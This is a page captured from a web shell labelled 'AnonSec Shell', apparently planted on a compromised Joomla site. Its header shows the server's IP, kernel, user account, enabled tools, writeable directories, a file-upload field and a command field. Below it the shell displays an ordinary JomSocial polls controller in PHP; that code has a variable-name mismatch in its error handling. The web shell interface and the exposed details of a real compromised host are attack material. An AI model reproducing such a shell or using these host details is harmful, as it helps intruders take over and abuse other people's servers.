AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nice/administrator/components/com_community/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nice/administrator/components/com_community/controllers/polls.php
<?php
/**
* @copyright (C) 2013 iJoomla, Inc. - All rights reserved.
* @license GNU General Public License, version 2 (http://www.gnu.org/licenses/gpl-2.0.html)
* @author iJoomla.com <webmaster@ijoomla.com>
* @url https://www.jomsocial.com/license-agreement
* The PHP code portions are distributed under the GPL license. If not otherwise stated, all images, manuals, cascading style sheets, and included JavaScript *are NOT GPL, and are released under the IJOOMLA Proprietary Use License v1.0
* More info at https://www.jomsocial.com/license-agreement
*/

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Table\Table;

// Disallow direct access to this file
defined('_JEXEC') or die('Restricted access');

jimport( 'joomla.application.component.controller' );

/**
 * JomSocial Component Controller
 */
class CommunityControllerPolls extends CommunityController
{
    public function __construct()
    {
        parent::__construct();

        $this->registerTask('publish', 'savePublish');
        $this->registerTask('unpublish', 'savePublish');
    }

    public function display($cachable = false, $urlparams = array())
    {
        $jinput = Factory::getApplication()->input;
        $viewName = $jinput->get('view' , 'community');
        $layout = $jinput->get('layout' , 'default');
        $document = Factory::getDocument();
        $viewType = $document->getType();
        $view = $this->getView($viewName , $viewType);
        $model = $this->getModel( $viewName ,'CommunityAdminModel' );

        if ($model) {
            $view->setModel($model, $viewName);
        }

        $view->setLayout($layout);
        $view->display();
    }

    public function ajaxTogglePublish($id, $type, $viewName = false)
    {   
        // Send email notification to owner when a poll is published.
        $config = CFactory::getConfig();
        $poll  = Table::getInstance('Poll' , 'CTable');
        $poll->load($id);

        if ($type == 'published' && $poll->published == 0 && $config->get('moderatepollcreation')) {
           $this->notificationApproval($poll);

            $db = Factory::getDbo();

            $query = "UPDATE ".$db->quoteName('#__community_activities')
                ." SET ".$db->quoteName('archived')."=".$db->quote(0)
                ." WHERE ".$db->quoteName('cid')."=".$db->quote($id)
                ." AND ".$db->quoteName('app')."=".$db->quote('polls');
            $db->setQuery($query);

            $db->execute();
        }

        return parent::ajaxTogglePublish($id, $type, 'polls');
    }

    public function deletePoll()
    {   
        require_once(JPATH_ROOT . '/components/com_community/libraries/featured.php');
        require_once(JPATH_ROOT . '/components/com_community/defines.community.php');

        $db = Factory::getDbo();
        $pollWithError = array();
        $poll = Table::getInstance('Poll', 'CTable');
        $mainframe = Factory::getApplication();
        $jinput = $mainframe->input;
        $ids = $jinput->get('cid', '', 'NONE');

        if (empty($ids)) {
            Factory::getApplication()->enqueueMessage(Text::_('COM_COMMUNITY_INVALID_ID'), 'error');
        }

        foreach($ids as $id) {
            $poll->load($id);
            $pollData = $poll;

            if (!$poll->delete($id)) {
                array_push($pollWithError, $id . ': ' . $pollData->title);
            } else {
                $query = "DELETE FROM ".$db->quoteName('#__community_polls_items')
                ." WHERE ".$db->quoteName('poll_id')."=".$db->quote($id);
                $db->setQuery($query);
                $db->execute();

                $query = "DELETE FROM ".$db->quoteName('#__community_polls_users')
                    ." WHERE ".$db->quoteName('poll_id')."=".$db->quote($id);
                $db->setQuery($query);
                $db->execute();

                $query = "DELETE FROM ".$db->quoteName('#__community_activities')
                    ." WHERE ".$db->quoteName('cid')."=".$db->quote($id)
                    ." AND ".$db->quoteName('app')."=".$db->quote('polls');
                $db->setQuery($query);
                $db->execute();
            }
        }

        $message = '';
        if (empty($error)) {
            $message = Text::_('COM_COMMUNITY_POLL_DELETED');
        } else {
            $error = implode(',', $groupWithError);
            $message    = Text::sprintf('COM_COMMUNITY_POLLS_DELETE_POLL_ERROR' , $error);
        }

        $mainframe  = Factory::getApplication();
        $mainframe->enqueueMessage($message ,'message');
        $mainframe->redirect('index.php?option=com_community&view=polls');
    }

    public function notificationApproval($poll)
    {
        $lang = Factory::getLanguage();
        $lang->load('com_community', JPATH_ROOT);

        $my = CFactory::getUser();

        // Send notification email to owner
        $params = new CParameter( '' );
        $params->set('url', 'index.php?option=com_community&view=polls');
        $params->set('pollTitle', $poll->title);
        $params->set('poll', $poll->title);
        $params->set('poll_url', 'index.php?option=com_community&view=polls');

        CNotificationLibrary::add('polls_notify_creator', $my->id, $poll->creator, Text::_('COM_COMMUNITY_POLLS_PUBLISHED_MAIL_SUBJECT'), '', 'polls.notifycreator', $params);

    }
}

Anon7 - 2022
AnonSec Team